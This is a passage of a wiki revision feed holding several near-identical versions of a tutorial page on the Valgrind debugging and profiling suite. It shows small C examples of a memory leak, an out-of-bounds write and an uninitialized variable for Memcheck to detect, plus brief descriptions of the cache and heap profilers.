** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind ajsckiuz.jpg|thumb|none|500px|Memory leak]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Invalid Pointer ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(10);&lt;br /&gt;
        x[10] = &#039;a&#039;;&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example2.c -o example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind hmjsjz.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Uninitialized Variable ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
    int fct(int x)&lt;br /&gt;
    {&lt;br /&gt;
        if(x &amp;lt; 10)&lt;br /&gt;
        {&lt;br /&gt;
            printf(&amp;quot;x is less than 10\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        int y;&lt;br /&gt;
        fct(y);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind srzjsgb.jpg|thumb|none|500px|Uninitialized variable]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
* a cache profiler&lt;br /&gt;
* performs a detailed simulation of the I1, D1 and L2 caches in your CPU and so can accurately pinpoint the sources of cache misses in your code&lt;br /&gt;
* it identifies the number of cache misses, memory references and instructions executed for each line of source code, with per-function, per-module and whole-program summaries&lt;br /&gt;
* useful with programs written in any language &lt;br /&gt;
* runs programs about 20--100x slower than normal.&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
* An extension to Cachegrind&lt;br /&gt;
* offers all the information that Cachegrind offers, plus additional information about Callgraphs&lt;br /&gt;
* Separately available is a visualization tool KCachegrind&lt;br /&gt;
** gives a better overview of the data collected by Callgrind&lt;br /&gt;
** it can also be used to visualize the output of Cachegrind&lt;br /&gt;
** simply run Callgrind/Cachegrind to generate the files which you then feed to KCachegrind&lt;br /&gt;
&lt;br /&gt;
To install KCachegrind, simply run:&lt;br /&gt;
&lt;br /&gt;
    sudo apt-get install kcachegrind&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:5 valgrind gfugkgi.jpg|thumb|none|500px|Run Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
The files that are generated via Cachegrind/Callgrind look like this:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind drcfgvjhuiy.jpg|thumb|none|500px|Files generated by Cachegrind/Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
The interface in KCachegrind allows to inspect&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:4 valgrind jkdcvhj.jpg|thumb|none|800px|KCachegrind User Interface]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Here you can see the simulations of the I1, D1 and L2 caches in your CPU in a visualized, user-friendly format, to identify cache misses in your code faster.&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
* is a heap profiler&lt;br /&gt;
* performs detailed heap profiling by taking snapshots of a program&#039;s heap on a regular basis&lt;br /&gt;
* creates a graph showing heap usage over time, including information about which parts of the program are responsible for the most memory allocations&lt;br /&gt;
* the graph is supplemented by a text or HTML file containing more information to determine where most memory is allocated&lt;br /&gt;
* runs programs about 20 times slower than normal&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
* is a thread debugger that detects data races (race conditions vulnerability) in multithreaded programs&lt;br /&gt;
* searches for memory locations that are accessed by more than one (POSIX p-)thread but for which no consistently used (pthread_mutex_) lock can be found&lt;br /&gt;
* is useful for any program that uses pthreads&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11204</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11204"/>
		<updated>2023-01-28T13:41:16Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Helgrind */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind ajsckiuz.jpg|thumb|none|500px|Memory leak]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Invalid Pointer ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(10);&lt;br /&gt;
        x[10] = &#039;a&#039;;&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example2.c -o example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind hmjsjz.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Uninitialized Variable ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
    int fct(int x)&lt;br /&gt;
    {&lt;br /&gt;
        if(x &amp;lt; 10)&lt;br /&gt;
        {&lt;br /&gt;
            printf(&amp;quot;x is less than 10\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        int y;&lt;br /&gt;
        fct(y);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind srzjsgb.jpg|thumb|none|500px|Uninitialized variable]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
* a cache profiler&lt;br /&gt;
* performs a detailed simulation of the I1, D1 and L2 caches in your CPU and so can accurately pinpoint the sources of cache misses in your code&lt;br /&gt;
* it identifies the number of cache misses, memory references and instructions executed for each line of source code, with per-function, per-module and whole-program summaries&lt;br /&gt;
* useful with programs written in any language &lt;br /&gt;
* runs programs about 20--100x slower than normal.&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
* An extension to Cachegrind&lt;br /&gt;
* offers all the information that Cachegrind offers, plus additional information about Callgraphs&lt;br /&gt;
* Separately available is a visualization tool KCachegrind&lt;br /&gt;
** gives a better overview of the data collected by Callgrind&lt;br /&gt;
** it can also be used to visualize the output of Cachegrind&lt;br /&gt;
** simply run Callgrind/Cachegrind to generate the files which you then feed to KCachegrind&lt;br /&gt;
&lt;br /&gt;
To install KCachegrind, simply run:&lt;br /&gt;
&lt;br /&gt;
    sudo apt-get install kcachegrind&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:5 valgrind gfugkgi.jpg|thumb|none|500px|Run Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
The files that are generated via Cachegrind/Callgrind look like this:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind drcfgvjhuiy.jpg|thumb|none|500px|Files generated by Cachegrind/Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
The interface in KCachegrind allows to inspect&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:4 valgrind jkdcvhj.jpg|thumb|none|800px|KCachegrind User Interface]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Here you can see the simulations of the I1, D1 and L2 caches in your CPU in a visualized, user-friendly format, to identify cache misses in your code faster.&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
* is a heap profiler&lt;br /&gt;
* performs detailed heap profiling by taking snapshots of a program&#039;s heap on a regular basis&lt;br /&gt;
* creates a graph showing heap usage over time, including information about which parts of the program are responsible for the most memory allocations&lt;br /&gt;
* the graph is supplemented by a text or HTML file containing more information to determine where most memory is allocated&lt;br /&gt;
* runs programs about 20 times slower than normal&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
* is a thread debugger that detects data races (race conditions vulnerability) in multithreaded programs&lt;br /&gt;
* searches for memory locations that are accessed by more than one (POSIX p-)thread but for which no consistently used (pthread_mutex_) lock can be found&lt;br /&gt;
* is useful for any program that uses `pthreads`&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11203</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11203"/>
		<updated>2023-01-28T13:40:19Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Massif */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind ajsckiuz.jpg|thumb|none|500px|Memory leak]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Invalid Pointer ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(10);&lt;br /&gt;
        x[10] = &#039;a&#039;;&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example2.c -o example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind hmjsjz.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Uninitialized Variable ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
    int fct(int x)&lt;br /&gt;
    {&lt;br /&gt;
        if(x &amp;lt; 10)&lt;br /&gt;
        {&lt;br /&gt;
            printf(&amp;quot;x is less than 10\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        int y;&lt;br /&gt;
        fct(y);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind srzjsgb.jpg|thumb|none|500px|Uninitialized variable]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
* a cache profiler&lt;br /&gt;
* performs a detailed simulation of the I1, D1 and L2 caches in your CPU and so can accurately pinpoint the sources of cache misses in your code&lt;br /&gt;
* it identifies the number of cache misses, memory references and instructions executed for each line of source code, with per-function, per-module and whole-program summaries&lt;br /&gt;
* useful with programs written in any language &lt;br /&gt;
* runs programs about 20--100x slower than normal.&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
* An extension to Cachegrind&lt;br /&gt;
* offers all the information that Cachegrind offers, plus additional information about Callgraphs&lt;br /&gt;
* Separately available is a visualization tool KCachegrind&lt;br /&gt;
** gives a better overview of the data collected by Callgrind&lt;br /&gt;
** it can also be used to visualize the output of Cachegrind&lt;br /&gt;
** simply run Callgrind/Cachegrind to generate the files which you then feed to KCachegrind&lt;br /&gt;
&lt;br /&gt;
To install KCachegrind, simply run:&lt;br /&gt;
&lt;br /&gt;
    sudo apt-get install kcachegrind&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:5 valgrind gfugkgi.jpg|thumb|none|500px|Run Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
The files that are generated via Cachegrind/Callgrind look like this:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind drcfgvjhuiy.jpg|thumb|none|500px|Files generated by Cachegrind/Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
The interface in KCachegrind allows to inspect&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:4 valgrind jkdcvhj.jpg|thumb|none|800px|KCachegrind User Interface]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Here you can see the simulations of the I1, D1 and L2 caches in your CPU in a visualized, user-friendly format, to identify cache misses in your code faster.&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
* is a heap profiler&lt;br /&gt;
* performs detailed heap profiling by taking snapshots of a program&#039;s heap on a regular basis&lt;br /&gt;
* creates a graph showing heap usage over time, including information about which parts of the program are responsible for the most memory allocations&lt;br /&gt;
* the graph is supplemented by a text or HTML file containing more information to determine where most memory is allocated&lt;br /&gt;
* runs programs about 20 times slower than normal&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11202</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11202"/>
		<updated>2023-01-28T13:39:18Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Callgrind */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind ajsckiuz.jpg|thumb|none|500px|Memory leak]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Invalid Pointer ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(10);&lt;br /&gt;
        x[10] = &#039;a&#039;;&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example2.c -o example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind hmjsjz.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Uninitialized Variable ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
    int fct(int x)&lt;br /&gt;
    {&lt;br /&gt;
        if(x &amp;lt; 10)&lt;br /&gt;
        {&lt;br /&gt;
            printf(&amp;quot;x is less than 10\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        int y;&lt;br /&gt;
        fct(y);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind srzjsgb.jpg|thumb|none|500px|Uninitialized variable]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
* a cache profiler&lt;br /&gt;
* performs a detailed simulation of the I1, D1 and L2 caches in your CPU and so can accurately pinpoint the sources of cache misses in your code&lt;br /&gt;
* it identifies the number of cache misses, memory references and instructions executed for each line of source code, with per-function, per-module and whole-program summaries&lt;br /&gt;
* useful with programs written in any language &lt;br /&gt;
* runs programs about 20--100x slower than normal.&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
* An extension to Cachegrind&lt;br /&gt;
* offers all the information that Cachegrind offers, plus additional information about Callgraphs&lt;br /&gt;
* Separately available is a visualization tool KCachegrind&lt;br /&gt;
** gives a better overview of the data collected by Callgrind&lt;br /&gt;
** it can also be used to visualize the output of Cachegrind&lt;br /&gt;
